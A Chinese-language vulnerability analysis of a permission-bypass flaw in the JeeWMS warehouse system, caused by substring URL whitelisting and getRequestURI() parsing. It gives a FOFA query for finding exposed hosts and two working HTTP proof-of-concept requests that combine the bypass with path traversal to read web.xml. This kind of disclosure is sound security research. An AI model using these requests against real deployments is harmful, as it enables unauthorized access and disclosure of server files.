漏洞简介
JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS AuthInterceptor 存在权限绕过漏洞,由于系统获取请求路径使用 request.getRequestURI() 导致可以通过配合 excludeContainUrls 达到绕过系统权限校验逻辑。
影响版本
最新版本(低于commit 7f78ed57)
fofa语法
body="url:userController.do?userOrgSelect&userId=" && "loginController.do?changeDefaultOrg"
漏洞分析
先看下 web.xml 里关于 excludeContainUrls 部分的配置
<property name="excludeContainUrls">
<list>
<value>systemController/showOrDownByurl.do</value>
<value>wmsApiController.do</value>
</list>
</property>
包含两条URL path
systemController/showOrDownByurl.dowmsApiController.do
再看下 AuthInterceptor.java 中在controller前拦截的函数 preHandle
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object object) throws Exception {
String requestPath = ResourceUtil.getRequestPath(request); // 用户访问的资源地址
//logger.info("-----authInterceptor----requestPath------" + requestPath);
// 步骤一: 判断是否是排除拦截请求,直接返回 TRUE
if (requestPath.matches("^rest/[a-zA-Z0-9_/]+$")) {
return true;
}
if (excludeUrls.contains(requestPath)) {
return true;
} else if (moHuContain(excludeContainUrls, requestPath)) {
return true;
} else {
这里对 requestPath 经过前面两个 if 判断后,在第三个 if 的部分,调用了 moHuContain 方法来判断请求的url路径是否包含 excludeContainUrls 里面的值之一。
private boolean moHuContain(List<String> list, String key) {
for (String str : list) {
if (key.contains(str)) {
return true;
}
}
return false;
}
moHuContain 的作用就是检查一个字符串key是否模糊包含(即包含)列表list中的任意一个字符串元素。
也就是说如果请求url路径包含 systemController/showOrDownByurl.do 或 wmsApiController.do 之一返回 true ,即绕过权限验证。
再回头看 String requestPath = ResourceUtil.getRequestPath(request); 这句对请求url路径的赋值,跟进 ResourceUtil.getRequestPath 方法
public static String getRequestPath(HttpServletRequest request) {
// String requestPath = request.getRequestURI() + "?" + request.getQueryString();
String queryString = request.getQueryString();
String requestPath = request.getRequestURI();
if(StringUtils.isNotEmpty(queryString)){
requestPath += "?" + queryString;
}
if (requestPath.indexOf("&") > -1) {// 去掉其他参数
requestPath = requestPath.substring(0, requestPath.indexOf("&"));
}
requestPath = requestPath.substring(request.getContextPath().length() + 1);// 去掉项目路径
return requestPath;
}
使用了 request.getRequestURI() 来获取请求url路径,而这个又回到了老生常谈的问题,具体的底层处理逻辑可以去先知(Tomcat URL解析差异性导致的安全问题)1学习下,至此所有链路都通了,下面我们用之前的文件读取漏洞测试下。
漏洞复现
POST /systemController/showOrDownByurl.do/../../cgformTemplateController.do?showPic=11 HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
code=../../../&path=../web.xml
POST /wmsApiController.do/../cgformTemplateController.do?showPic=11 HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
code=../../../../&path=../WEB-INF/web.xml
成功读取到了 web.xml 文件内容

参考
https://xz.aliyun.com/news/7139https://gitee.com/erzhongxmu/JEEWMS/issues/IC8RPM


